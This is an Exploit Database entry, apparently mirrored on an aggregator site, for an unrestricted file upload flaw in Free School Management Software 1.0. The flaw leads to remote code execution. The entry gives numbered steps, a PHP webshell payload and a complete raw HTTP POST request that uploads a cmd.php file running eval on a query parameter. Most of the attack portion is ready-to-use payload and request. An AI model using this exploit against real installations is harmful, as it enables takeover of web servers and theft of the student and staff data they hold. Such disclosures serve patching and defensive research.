Free School Management Software 1.0 – Remote Code Execution (RCE)

• Exploit Database
• 15 阅读

• 作者： fuzzyap1
  日期： 2021-12-10
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50587/

• # Exploit Title: Free School Management Software 1.0 - Remote Code Execution (RCE)
  # Exploit Author: fuuzap1
  # Date: 7-12-2021
  # Category: Web application
  # Vendor Homepage: https://www.sourcecodester.com/php/15073/free-school-management-software.html
  # Software Link: https://www.sourcecodester.com/sites/default/files/download/jovahsource/free_and_open_source.zip
  # Version: 1.0
  # Tested on: windows
  # Vulnerable page: http://localhost/admin/examQuestion
  
  
  Technical description:
  A unrestricted file upload vulnerability exists in the Free school
  management software v1.0. An attacker can leverage this vulnerability in
  order to get a remote code execution on the affected web server. Once a php
  webshell containing "<?php system($_GET["cmd"]); ?>"gets uploaded it is
  getting saveinto /uploads/exam_question/ directory, and is accessible by
  all users.the attacker can gain remote code execution on the web server.
  
  Steps to exploit:
  1) Navigate to http://localhost/admin/manage_profile
  2) click "ADD NEW QUESTION PAPER" edit base infomation
  3) uploading a php webshell containing "<?php system($_GET["cmd"]); ?>" in
  the Field"upload Drag and drop a file here or click"
  3) Click "save"
  4) openhttp://localhost/uploads/exam_question/cmd.php?cmd=phpinfo() then
  php code execution
  Proof of concept (Poc):
  The following payload will allow you to run the javascript -
  <?php system($_GET["cmd"]); ?>
  
  ---
  POST /admin/examQuestion/create HTTP/1.1
  Host: localhost
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0)
  Gecko/20100101 Firefox/89.0
  Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  Accept-Encoding: gzip, deflate
  Content-Type: multipart/form-data;
  boundary=---------------------------183813756938980137172117669544
  Content-Length: 1331
  Origin: http://localhost
  Connection: close
  Referer: http://localhost/admin/examQuestion
  Cookie: ci_session=793aq6og2h9mf5cl2q2b3p4ogpcslh2q
  Upgrade-Insecure-Requests: 1
  
  -----------------------------183813756938980137172117669544
  Content-Disposition: form-data; name="name"
  
  test4
  -----------------------------183813756938980137172117669544
  Content-Disposition: form-data; name="class_id"
  
  2
  -----------------------------183813756938980137172117669544
  Content-Disposition: form-data; name="subject_id"
  
  5
  -----------------------------183813756938980137172117669544
  Content-Disposition: form-data; name="timestamp"
  
  2021-12-08
  -----------------------------183813756938980137172117669544
  Content-Disposition: form-data; name="teacher_id"
  
  1
  -----------------------------183813756938980137172117669544
  Content-Disposition: form-data; name="file_type"
  
  txt
  -----------------------------183813756938980137172117669544
  Content-Disposition: form-data; name="status"
  
  1
  -----------------------------183813756938980137172117669544
  Content-Disposition: form-data; name="description"
  
  123123
  -----------------------------183813756938980137172117669544
  Content-Disposition: form-data; name="_wysihtml5_mode"
  
  1
  -----------------------------183813756938980137172117669544
  Content-Disposition: form-data; name="file_name"; filename="cmd.php"
  Content-Type: application/octet-stream
  
  <?php eval($_GET["cmd"]); ?>
  -----------------------------183813756938980137172117669544--
  ---